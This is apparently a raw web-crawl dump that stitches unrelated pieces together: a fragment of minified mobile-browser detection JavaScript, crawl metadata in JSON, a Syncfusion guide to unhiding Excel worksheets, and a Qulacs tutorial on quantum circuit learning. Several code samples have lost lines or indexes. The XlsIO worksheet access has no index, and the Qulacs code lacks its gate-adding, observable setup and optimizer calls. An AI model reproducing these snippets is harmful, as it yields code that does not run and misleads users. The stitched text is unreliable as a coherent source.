Switch|PLAYSTATION|Xbox)\\\\b\",Watch:\"SM-V700\"}},g.detectMobileBrowsers={fullPattern:/(android|bb\\d+|meego).+mobile|avantgo|bada\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i, shortPattern:/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-/i,tabletPattern:/android|ipad|playbook|silk/i};var h,i=Object.prototype.hasOwnProperty;return g.FALLBACK_PHONE=\"UnknownPhone\",g.FALLBACK_TABLET=\"UnknownTablet\",g.FALLBACK_MOBILE=\"UnknownMobile\",h=\"isArray\"in Array?Array.isArray:function(a){return\"[object Array]\"===Object.prototype.toString.call(a)},function(){var a,b,c,e,f,j,k=g.mobileDetectRules;for(a in k.props)if(i.call(k.props,a)){for(b=k.props[a],h(b)||(b=[b]),f=b.length,e=0;e<f;++e)c=b[e],j=c.indexOf(\"[VER]\"),j>=0&&(c=c.substring(0,j)+\"([\\\\w._\\\\+]+)\"+c.substring(j+5)),b[e]=new RegExp(c,\"i\");k.props[a]=b}d(k.oss),d(k.phones),d(k.tablets),d(k.uas),d(k.utils),k.oss0={WindowsPhoneOS:k.oss.WindowsPhoneOS,WindowsMobileOS:k.oss.WindowsMobileOS}}(),g.findMatch=function(a,b){for(var c in a)if(i.call(a,c)&&a[c].test(b))return c;return null},g.findMatches=function(a,b){var c=[];for(var d in a)i.call(a,d)&&a[d].test(b)&&c.push(d);return c},g.getVersionStr=function(a,b){var c,d,e,f,h=g.mobileDetectRules.props;if(i.call(h,a))for(c=h[a],e=c.length,d=0;d<e;++d)if(f=c[d].exec(b),null!==f)return f;return null},g.getVersion=function(a,b){var c=g.getVersionStr(a,b);return c?g.prepareVersionNo(c):NaN},g.prepareVersionNo=function(a){var b;return b=a.split(/[a-z._ \\/\\-]/i),1===b.length&&(a=b),b.length>1&&(a=b+\".\",b.shift(),a+=b.join(\"\")),Number(a)},g.isMobileFallback=function(a){return g.detectMobileBrowsers.fullPattern.test(a)||g.detectMobileBrowsers.shortPattern.test(a.substr(0,4))},g.isTabletFallback=function(a){return g.detectMobileBrowsers.tabletPattern.test(a)},g.prepareDetectionCache=function(a,c,d){if(a.mobile===b){var e,h,i;return(h=g.findMatch(g.mobileDetectRules.tablets,c))?(a.mobile=a.tablet=h,void(a.phone=null)):(e=g.findMatch(g.mobileDetectRules.phones,c))?(a.mobile=a.phone=e,void(a.tablet=null)):void(g.isMobileFallback(c)?(i=f.isPhoneSized(d),i===b?(a.mobile=g.FALLBACK_MOBILE,a.tablet=a.phone=null):i?(a.mobile=a.phone=g.FALLBACK_PHONE,a.tablet=null):(a.mobile=a.tablet=g.FALLBACK_TABLET,a.phone=null)):g.isTabletFallback(c)?(a.mobile=a.tablet=g.FALLBACK_TABLET,a.phone=null):a.mobile=a.tablet=a.phone=null)}},g.mobileGrade=function(a){var b=null!==a.mobile();return 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Fire\")||a.is(\"Kindle\")&&a.version(\"Kindle\")>=3||a.is(\"AndroidOS\")&&a.is(\"NookTablet\")||a.version(\"Chrome\")>=11&&!b||a.version(\"Safari\")>=5&&!b||a.version(\"Firefox\")>=4&&!b||a.version(\"MSIE\")>=7&&!b||a.version(\"Opera\")>=10&&!b?\"A\":a.os(\"iOS\")&&a.version(\"iPad\")<4.3||a.os(\"iOS\")&&a.version(\"iPhone\")<3.1||a.os(\"iOS\")&&a.version(\"iPod\")<3.1||a.is(\"Blackberry\")&&a.version(\"BlackBerry\")>=5&&a.version(\"BlackBerry\")<6||a.version(\"Opera Mini\")>=5&&a.version(\"Opera Mini\")<=6.5&&(a.version(\"Android\")>=2.3||a.is(\"iOS\"))||a.match(\"NokiaN8|NokiaC7|N97.*Series60|Symbian/3\")||a.version(\"Opera Mobi\")>=11&&a.is(\"SymbianOS\")?\"B\":(a.version(\"BlackBerry\")<5||a.match(\"MSIEMobile|Windows CE.*Mobile\")||a.version(\"Windows Mobile\")<=5.2,\"C\")},g.detectOS=function(a){return g.findMatch(g.mobileDetectRules.oss0,a)||g.findMatch(g.mobileDetectRules.oss,a)},g.getDeviceSmallerSide=function(){return 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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91434395,"math_prob":0.9909144,"size":1634,"snap":"2023-40-2023-50","text_gpt3_token_len":430,"char_repetition_ratio":0.1,"word_repetition_ratio":0.021276595,"special_character_ratio":0.21358629,"punctuation_ratio":0.10543131,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99006706,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"im_url_duplicate_count":[null,null,null,4,null,3,null,2,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-09-21T10:05:02Z\",\"WARC-Record-ID\":\"<urn:uuid:fa57ece4-ff2d-4d04-a584-4909016821f4>\",\"Content-Length\":\"276296\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:da7873fc-6bde-4455-be8c-52a453f265d0>\",\"WARC-Concurrent-To\":\"<urn:uuid:bc9869a5-5951-4f60-aca4-85b95b52095e>\",\"WARC-IP-Address\":\"154.0.172.255\",\"WARC-Target-URI\":\"https://hiphop411.tv/universal-music-africas-artists-get-nominated-for-the-10th-sa-hip-hop-awards/\",\"WARC-Payload-Digest\":\"sha1:4O5BYQNFYDHSBC4MPYRXVLL3VMAL6JT7\",\"WARC-Block-Digest\":\"sha1:HWWA4DDQQBY43RWDXQF7OKEXNBOTW44L\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-40/CC-MAIN-2023-40_segments_1695233505362.29_warc_CC-MAIN-20230921073711-20230921103711-00409.warc.gz\"}"} |
https://help.syncfusion.com/file-formats/xlsio/migrate-from-office-automation-to-syncfusion-xlsio/unhide-excel-worksheets | [
"# Unhide Excel Worksheets\n\n22 Dec 20223 minutes to read\n\nHidden sheets can be unhidden. The following code shows how to unhide Excel worksheets with Interop and XlsIO for .NET.\n\n## Interop\n\n``````private void UnhideWorksheet()\n{\n//Instantiate the application object\nvar excelApp = new Microsoft.Office.Interop.Excel.Application();\n\n//Open the workbook with hidden worksheets\nWorkbook workbook = excelApp.Workbooks.Open(\"InteropOutput_HiddenWorksheet.xlsx\");\n\n//Get the first sheet\nWorksheet worksheet = (Worksheet)workbook.Sheets[\"Sheet1\"];\n\n//Unhide the worksheet\nworksheet.Visible = XlSheetVisibility.xlSheetVisible;\n\n//Save the file\nworkbook.SaveCopyAs(\"InteropOutput_UnhiddenWorksheet.xlsx\");\n\n//Quit the application\nexcelApp.Quit();\n}``````\n``````Private Sub UnhideWorksheet()\n'Instantiate the application object\nDim excelApp = New Microsoft.Office.Interop.Excel.Application()\n\n'Open the workbook with hidden worksheets\nDim workbook As Workbook = excelApp.Workbooks.Open(\"InteropOutput_HiddenWorksheet.xlsx\")\n\n'Get the first sheet\nDim worksheet As Worksheet = workbook.Sheets(\"Sheet1\")\n\n'Unhide the worksheet\nworksheet.Visible = XlSheetVisibility.xlSheetVisible\n\n'Save the file\nworkbook.SaveCopyAs(\"InteropOutput_UnhiddenWorksheet.xlsx\")\n\n'Quit the application\nexcelApp.Quit()\nEnd Sub``````\n\n## XlsIO\n\n``````private void UnhideWorksheet()\n{\nusing (ExcelEngine excelEngine = new ExcelEngine())\n{\n//Instantiate the application object\nIApplication application = excelEngine.Excel;\n\n//Open the workbook with hidden worksheets\nIWorkbook workbook = application.Workbooks.Open(\"XlsIOOutput_HiddenWorksheet.xlsx\");\n\n//Get the first sheet\nIWorksheet worksheet = workbook.Worksheets;\n\n//Unhide the worksheet\nworksheet.Visibility = WorksheetVisibility.Visible;\n\n//Save the workbook\nworkbook.SaveAs(\"XlsIOOutput_UnhiddenWorksheet.xlsx\");\n}\n}``````\n``````Private Sub UnhideWorksheet()\nUsing excelEngine As ExcelEngine = New ExcelEngine()\n'Instantiate the application object\nDim application As IApplication = excelEngine.Excel\n\n'Open the Excel file\nDim workbook As IWorkbook = application.Workbooks.Open(\"XlsIOOutput_HiddenWorksheet.xlsx\")\n\n'Get the first sheet\nDim worksheet As IWorksheet = workbook.Worksheets(0)\n\n'Unhide the worksheet\nworksheet.Visibility = WorksheetVisibility.Visible\n\n'Save as Excel file\nworkbook.SaveAs(\"XlsIOOutput_UnhiddenWorksheet.xlsx\")\nEnd Using\nEnd Sub``````"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5454099,"math_prob":0.4142251,"size":2301,"snap":"2022-40-2023-06","text_gpt3_token_len":501,"char_repetition_ratio":0.22420548,"word_repetition_ratio":0.066079296,"special_character_ratio":0.18774445,"punctuation_ratio":0.18012422,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9896671,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-05T16:28:19Z\",\"WARC-Record-ID\":\"<urn:uuid:8034a3b5-e9d7-4303-af79-9e01de8e0473>\",\"Content-Length\":\"38245\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:cf057d1e-fdc2-4e39-aedf-d3f6a70cd6b4>\",\"WARC-Concurrent-To\":\"<urn:uuid:1006ca69-f18b-4c96-86f4-5c0edf881a2d>\",\"WARC-IP-Address\":\"40.121.84.190\",\"WARC-Target-URI\":\"https://help.syncfusion.com/file-formats/xlsio/migrate-from-office-automation-to-syncfusion-xlsio/unhide-excel-worksheets\",\"WARC-Payload-Digest\":\"sha1:D76PTEV4TUCFO3XPMRAUASXXTX6SVD5T\",\"WARC-Block-Digest\":\"sha1:BTBU2FEG6DJKQEZW6DQYYFU3TAEMXM7P\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500273.30_warc_CC-MAIN-20230205161658-20230205191658-00127.warc.gz\"}"} |
http://docs.qulacs.org/en/latest/apply/5.2_qcl.html | [
"# Quantum Circuit Learning¶\n\nQuantum Circuit Learning (QCL) is an algorithm for applying quantum computers to machine learning . Just like the VQE (Variational Quantum Eigensolver) we have learned in the previous section, it is a quantum-classical hybrid algorithm, designed to operate on NISQ (Noisy Intermediate-Scale Quantum Computer), a medium-scale quantum computer without error correction function.\n\nExperiments using actual NISQ devices have already been performed, and in March 2019, a paper on actual implementation of QCL by an IBM experiment team was published in Nature and became a hot topic.\n\nIn the following, the outline of the algorithm and the specific learning procedure are introduced, then an implementation example using the quantum simulator Qulacs is presented.\n\nThis notebook is tranlated from https://dojo.qulacs.org/ja/latest/notebooks/5.1_variational_quantum_eigensolver.html\n\n## Overview of QCL¶\n\nIn recent years, deep learning has been spotlighted in the field of machine learning. In deep learning, by approximating a complex function using a deep neural network, the relationship between input and output can be learned and predictions can be performed on new data. QCL is a machine learning method that replaces this neural network with a quantum circuit, and hence a quantum computer.\n\nBy using the quantum circuit, the learning process can be performed exponentially by using a large number of basis functions by utilizing the principle of superposition of quantum mechanics, so that the expression capacity of the model is improved.\n\nFurthermore, it is considered that overfitting can be automatically prevented depending on the condition (unitary property) to be satisfied by the quantum circuit. As a result, higher performance can be expected beyond machine learning in classical computers. (See Reference for details)\n\nIn a neural network, the function is approximated by adjusting the weight parameter W of each layer, and the concept is exactly the same in QCL.\n\nThat is, although the quantum circuit used in the QCL includes multiple “rotating gates”, the function is approximated by adjusting the rotating angle $$\\theta$$ of the rotating gate. The specific procedure is shown below.\n\n## Learning procedure¶\n\n1. Prepare training data {($$x_i,y_i$$)}. ($$x_i$$ is input data (teacher data), $$y_i$$ is the correct output data expected to be predicted from $$x_i$$)\n\n2. Prepare a circuit called $$U_\\text{in}(x)$$ that is determined by some rule from the input $$x$$, and create an input state $$\\{\\left|\\psi_{\\text{in}}(x_i)\\right>\\}_i=\\{U_{\\text{in}}(x_i)\\left|0\\right>\\}_i$$ with the information of $$x_i$$ embedded.\n\n3. Multiply gate $$U(\\theta)$$ which depends on parameter $$\\theta$$ with the input state to obtain the output state $$\\{\\left|\\psi_{\\text{out}}(x_i,\\theta)\\right>=U(\\theta)\\left|\\psi_{\\text{in}}(x_i)\\right>\\}_i$$.\n\n4. The measurement is done by measuring some observable under the output state. (eg. the $$Z$$ expection of the first qubit: $$\\left<Z_1\\right>=\\left<\\psi_{\\text{out}}\\left|Z_1\\right|\\psi_{\\text{out}}\\right>$$)\n\n5. Set F as an appropriate function (sigmoid, softmax or constant function, etc.), and the output $$y(x_i,\\theta)$$ of the model is F(measurement_i).\n\n6. Calculate the cost function $$L(\\theta)$$ representing the divergence between the correct data $$\\{y_i\\}$$ and the output $$\\{y(x_i,\\theta)\\}_i$$ of the model.\n\n7. Obtain the $$\\theta=\\theta^*$$ which minimizes the cost function.\n\n8. Then $$y(x,\\theta^*)$$ is the desired prediction model.",
null,
"(In the QCL, input data $$x$$ is first converted to a quantum state using $$U_{\\text{in}}(x)$$, and an output $$y$$ is obtained there from using a variational quantum circuit $$U(\\theta)$$ and measurement (In the figure, the output is $$\\left<B(x,\\theta)\\right>$$.) Source: Revised Figure 1 in reference .) ## Implementation using quantum simulator Qulacs In the following, a fitting of sin function $$y=sin(\\pi x)$$ is performed as a demonstration of approximating function.\n\n:\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom functools import reduce\n\n:\n\n######## Parameter #############\nnqubit = 3 ## number of qubit\nc_depth = 3 ## depth of circuit\ntime_step = 0.77 ## elapsed time of time evolution with random Hamiltonian\n\n## randomly take num_x_train points from [x_min, x_max] as teacher data.\nx_min = - 1.; x_max = 1.;\nnum_x_train = 50\n\n## one variable function to learn\nfunc_to_learn = lambda x: np.sin(x*np.pi)\n\n## seed of random number\nrandom_seed = 0\n## initialization of random number generator\nnp.random.seed(random_seed)\n\n\n### Prepare training data¶\n\n:\n\n#### Prepare teacher data\nx_train = x_min + (x_max - x_min) * np.random.rand(num_x_train)\ny_train = func_to_learn(x_train)\n\n# Add noise to pure sine function assuming real data used\nmag_noise = 0.05\ny_train = y_train + mag_noise * np.random.randn(num_x_train)\n\nplt.plot(x_train, y_train, \"o\"); plt.show()",
null,
"### Construct the input state¶\n\nFirstly, create a gate $$U_{\\text{in}}(x_i)$$ for embedding the input value $$x_i$$ in the initial state $$\\left|00...0\\right>$$. According to reference , define $$U_{\\text{in}}(x_i)=\\prod_jR^Z_j(\\text{cos}^{-1}x^2)R^Y_j(\\text{sin}^{-1}x)$$ using rotation gates $$R^Y_j(\\theta)=e^{i\\theta Y_j/2}, R^Z_j(\\theta)=e^{i\\theta Z_j/2}$$. The input $$x_i$$ is converted into quantum state $$\\left|\\psi_\\text{in}(x_i)\\right>=U_{\\text{in}}(x_i)\\left|00...0\\right>$$.\n\n:\n\n## When using Google Colaboratory・please run in a local environment where Qulacs is not installed.\n!pip install qulacs\n\nRequirement already satisfied: qulacs in /anaconda3/envs/VibSpec/lib/python3.7/site-packages (0.1.9)\n\n:\n\n# Create intial state\nfrom qulacs import QuantumState, QuantumCircuit\n\nstate = QuantumState(nqubit) # Initial state |000>\nstate.set_zero_state()\nprint(state.get_vector())\n\n[1.+0.j 0.+0.j 0.+0.j 0.+0.j 0.+0.j 0.+0.j 0.+0.j 0.+0.j]\n\n:\n\n# Function that creats a gate encoding x\ndef U_in(x):\nU = QuantumCircuit(nqubit)\n\nangle_y = np.arcsin(x)\nangle_z = np.arccos(x**2)\n\nfor i in range(nqubit):\n\nreturn U\n\n:\n\n# Test initial state\nx = 0.1 # appropriate value\nU_in(x).update_quantum_state(state) # calculation of U_in|000>\nprint(state.get_vector())\n\n[-6.93804351e-01+7.14937415e-01j -3.54871219e-02-3.51340074e-02j\n-3.54871219e-02-3.51340074e-02j 1.77881430e-03-1.76111422e-03j\n-3.54871219e-02-3.51340074e-02j 1.77881430e-03-1.76111422e-03j\n1.77881430e-03-1.76111422e-03j 8.73809020e-05+9.00424970e-05j]\n\n\n### Construct variational quantum circuit $$U(\\theta)$$¶\n\nNext, a variational quantum circuit $$U(\\theta)$$ to be optimized is created. The procedure is the following three steps: 1. Create a transverse magnetic field Ising Hamiltonian. 2. Create rotation gates. 3. Combine step1 and step2’s gates alternatively to make a large variational quantum circuit $$U(\\theta)$$.\n\n#### 1.Create a transverse magnetic field Ising Hamiltonian¶\n\nThe expressiveness of the model is enhanced by increasing the complexity (entanglement) of the quantum circuit after performing time evolution based on the transverse magnetic field Ising model learned in section 4-2. (This part can be skipped unless you want to know the details.)\n\nThe Hamiltonian of transverse magnetic file Ising model is shown below, time evolution operator is defined as $$U_{\\text{rand}}=e^{-iHt}$$:\n\n\\begin{equation} H=\\sum_{j=1}^N a_jX_j+\\sum_{j=1}^N\\sum_{k=1}^{j-1}J_{jk}Z_jZ_k \\end{equation}\n\nCoefficient $$a$$ and $$J$$ is a uniform distribution of $$[-1,1]$$.\n\n:\n\n## Basic gate\nfrom qulacs.gate import X, Z\nI_mat = np.eye(2, dtype=complex)\nX_mat = X(0).get_matrix()\nZ_mat = Z(0).get_matrix()\n\n:\n\n## Function that creates fullsize gate.\ndef make_fullgate(list_SiteAndOperator, nqubit):\n'''\nTake list_SiteAndOperator = [ [i_0, O_0], [i_1, O_1], ...],\nInsert Identity into unrelated qubit\nmake (2**nqubit, 2**nqubit) matrix:\nI(0) * ... * O_0(i_0) * ... * O_1(i_1) ...\n'''\nlist_Site = [SiteAndOperator for SiteAndOperator in list_SiteAndOperator]\nlist_SingleGates = [] ## Arrange 1-qubit gates and reduce with np.kron\ncnt = 0\nfor i in range(nqubit):\nif (i in list_Site):\nlist_SingleGates.append( list_SiteAndOperator[cnt] )\ncnt += 1\nelse: ## an empty site is identity\nlist_SingleGates.append(I_mat)\n\nreturn reduce(np.kron, list_SingleGates)\n\n:\n\n#### Create time evolution operator by making random magnetic field and random coupling Ising Hamiltonian\nham = np.zeros((2**nqubit,2**nqubit), dtype = complex)\nfor i in range(nqubit): ## i runs 0 to nqubit-1\nJx = -1. + 2.*np.random.rand() ## random number in -1~1\nham += Jx * make_fullgate( [ [i, X_mat] ], nqubit)\nfor j in range(i+1, nqubit):\nJ_ij = -1. + 2.*np.random.rand()\nham += J_ij * make_fullgate ([ [i, Z_mat], [j, Z_mat]], nqubit)\n\n## Create a time evolution operator by diagonalization. H*P = P*D <-> H = P*D*P^dagger\ndiag, eigen_vecs = np.linalg.eigh(ham)\ntime_evol_op = np.dot(np.dot(eigen_vecs, np.diag(np.exp(-1j*time_step*diag))), eigen_vecs.T.conj()) # e^-iHT\n\n:\n\ntime_evol_op.shape\n\n:\n\n(8, 8)\n\n:\n\n# Convert to qulacs gate\nfrom qulacs.gate import DenseMatrix\ntime_evol_gate = DenseMatrix([i for i in range(nqubit)], time_evol_op)\n\n\n#### 2.Create rotation gates, 3.Create $$U(\\theta)$$¶\n\nCombine the time evolution operator $$U_{\\text{rand}}$$ accroding to random transverse magnetic field Ising model and the operator of rotation gates operating on $$j(=1,2,\\dots n)$$th qubit\n\n\\begin{equation} U_\\text{rot}(\\theta_j^{(i)})=R_j^X(\\theta_{j1}^{(i)})R_j^Z(\\theta_{j2}^{(i)})R_j^X(\\theta_{j3}^{(i)}) \\end{equation}\n\nto create variational quantum circuit $$U(\\theta)$$:\n\n\\begin{equation} U\\Big(\\{\\theta_j^{(i)}\\}_{i,j}\\Big)= \\prod_{i=1}^d\\bigg(\\bigg(\\prod_{j=1}^nU_\\text{rot}(\\theta_j^{(i)})\\bigg)\\cdot U_\\text{rand} \\bigg) \\end{equation}\n\nHere $$i$$ is a suffix representing the layer of the quantum circuit, and $$U_\\text{rand}$$ and the above rotation are repeated in $$d$$ layers in total. There are $$3\\times n \\times d$$ parameters. The intial value of each $$\\theta$$ is a uniform distribution of $$[0,2\\pi]$$.\n\n:\n\nfrom qulacs import ParametricQuantumCircuit\n\n:\n\n# Assemble output gate U_out & set initial parameter values\nU_out = ParametricQuantumCircuit(nqubit)\nfor d in range(c_depth):\nfor i in range(nqubit):\nangle = 2.0 * np.pi * np.random.rand()\nangle = 2.0 * np.pi * np.random.rand()\nangle = 2.0 * np.pi * np.random.rand()\n\n:\n\n# Get the list of initial values of the parameter theta\nparameter_count = U_out.get_parameter_count()\ntheta_init = [U_out.get_parameter(ind) for ind in range(parameter_count)]\n\n:\n\ntheta_init\n\n:\n\n[6.007250646127814,\n4.046309757767312,\n2.663159813474645,\n3.810080933381979,\n0.12059442161498848,\n1.8948504571449056,\n4.14799267096281,\n1.8226113595664735,\n3.88310546309581,\n2.6940332019609157,\n0.851208649826403,\n1.8741631278382846,\n3.5811951525261123,\n3.7125630518871535,\n3.6085919651139333,\n4.104181793964002,\n4.097285684838374,\n2.71068197476515,\n5.633168398253273,\n2.309459341364396,\n2.738620094343915,\n5.6041197193647925,\n5.065466226710866,\n4.4226624059922806,\n0.6297441057449945,\n5.777279648887616,\n4.487710439107831]\n\n\nFor convenience, a function for updating parameter $$\\theta$$ in $$U(\\theta)$$ is created.\n\n:\n\n# Function that updates parameter theta\ndef set_U_out(theta):\nglobal U_out\n\nparameter_count = U_out.get_parameter_count()\n\nfor i in range(parameter_count):\nU_out.set_parameter(i, theta[i])\n\n\n### Measurement¶\n\nIn this demonstration, the output of the model is the expectation value of 0th qubit’s Pauli Z on output state $$\\left|\\psi_\\text{out}\\right>$$, that is:\n\n\\begin{equation} y(\\theta,x_i)=\\left<Z_0\\right>=\\left<\\psi_\\text{out}|Z_0|\\psi_\\text{out}\\right> \\end{equation}\n:\n\n# Create observable Z_0\nfrom qulacs import Observable\nobs = Observable(nqubit)\n# Set observable as 2*Z。\n# The reason for multiplying by 2 here is to expand the value range of the final <Z>.\n# In order to cope with any unknown function, this constant also needs to be optimized as one parameter.\n\n:\n\nobs.get_expectation_value(state)\n\n:\n\n1.9899748742132415\n\n\n### Combine a series of procedures into one function¶\n\nThe procedures up to this point can be combined to define a function that returns the predicted value $$y(x_i,\\theta)$$ of the model from the input $$x_i$$.\n\n:\n\n# Function that gives prediction value y(x_i, theta) of the model from input x_i\ndef qcl_pred(x, U_out):\nstate = QuantumState(nqubit)\nstate.set_zero_state()\n\n# Calculate input state\nU_in(x).update_quantum_state(state)\n\n# Calculate output state\nU_out.update_quantum_state(state)\n\n# Output of the model\nres = obs.get_expectation_value(state)\n\nreturn res\n\n\n### Calculation of cost function¶\n\nThe cost function $$L(\\theta)$$ is a mean square error (MSE) between the teacher data and the prediction data.\n\n:\n\n# Calculate cost function L\ndef cost_func(theta):\n'''\ntheta: ndarray of length c_depth * nqubit * 3\n'''\n# update the parameter theta of U_out\n# global U_out\nset_U_out(theta)\n\n# calculate basing on data of num_x_train in total\ny_pred = [qcl_pred(x, U_out) for x in x_train]\n\nL = ((y_pred - y_train)**2).mean()\n\nreturn L\n\n:\n\n# Value of cost function with initial parameter theta\ncost_func(theta_init)\n\n:\n\n1.38892593161935\n\n:\n\n# Figure basing on inital parameter theta\nxlist = np.arange(x_min, x_max, 0.02)\ny_init = [qcl_pred(x, U_out) for x in xlist]\nplt.plot(xlist, y_init)\n\n:\n\n[<matplotlib.lines.Line2D at 0x11e0de090>]",
null,
"### Learning (optimization by scipy.optimize.minimize)¶\n\nPreparation is finally finished, and let’s start learning from now on. Here, for simplicity, optimization is performed using the Nelder-Mead method, which does not need a gradient calculation formula. When using an optimization method that needs gradients (eg: the BFGS method), refer to the useful gradients calculation formulas introduced in Reference .\n\n:\n\nfrom scipy.optimize import minimize\n\n:\n\n%%time\n# Learning (takes 14 seconds with the writer's PC)\n\nCPU times: user 11.7 s, sys: 11.7 s, total: 23.4 s\nWall time: 14.2 s\n\n:\n\n# Value of cost_function after optimization\nresult.fun\n\n:\n\n0.003987076559624772\n\n:\n\n# Solution of theta by optimization\ntheta_opt = result.x\nprint(theta_opt)\n\n[7.17242144 5.4043736 1.27744316 3.09192904 0.13144047 2.13757354\n4.58470259 2.01924008 2.96107066 2.91843537 1.0609229 1.70351774\n6.41114609 6.25686828 2.41619471 3.69387805 4.07551328 1.47666316\n3.4108701 2.28524042 1.75253621 7.44181397 3.20314179 5.11364648\n1.2831137 2.07306927 3.75112591]\n\n\n### Plot results¶\n\n:\n\n# Insert optimized theta into U_out\nset_U_out(theta_opt)\n\n:\n\n# Plot\nplt.figure(figsize=(10, 6))\n\nxlist = np.arange(x_min, x_max, 0.02)\n\n# teacher data\nplt.plot(x_train, y_train, \"o\", label='Teacher')\n\n# Figure basing on inital parameter theta\nplt.plot(xlist, y_init, '--', label='Initial Model Prediction', c='gray')\n\n# Prediction of the model\ny_pred = np.array([qcl_pred(x, U_out) for x in xlist])\nplt.plot(xlist, y_pred, label='Final Model Prediction')\n\nplt.legend()\nplt.show()",
null,
"It is clear that the approximation of the sin function was successful.\n\nHere we dealt with a very simple task of a one-dimensional function approximation for both input and output, but it can be extended to approximation and classification problems with multidimensional inputs and outputs.\n\nMotivated readers are encouraged to try to classify the Iris dataset, one of the typical machine learning datasets, in column 5.2c. Application of QCL to Machine Learning.\n\n## Reference¶\n\n K. Mitarai, M. Negoro, M. Kitagawa, and K. Fujii, “Quantum circuit learning”, Phys. Rev. A 98, 032309 (2018), arXiv：https://arxiv.org/abs/1803.00745\n\n V. Havlicek et al. , “Supervised learning with quantum-enhanced feature spaces”, Nature 567, 209–212 (2019), arXiv：https://arxiv.org/abs/1804.11326"
] | [
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"http://docs.qulacs.org/en/latest/apply/apply/attachment:img/QCL.png",
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"http://docs.qulacs.org/en/latest/_images/apply_5.2_qcl_7_0.png",
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"http://docs.qulacs.org/en/latest/_images/apply_5.2_qcl_34_1.png",
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"http://docs.qulacs.org/en/latest/_images/apply_5.2_qcl_42_0.png",
null
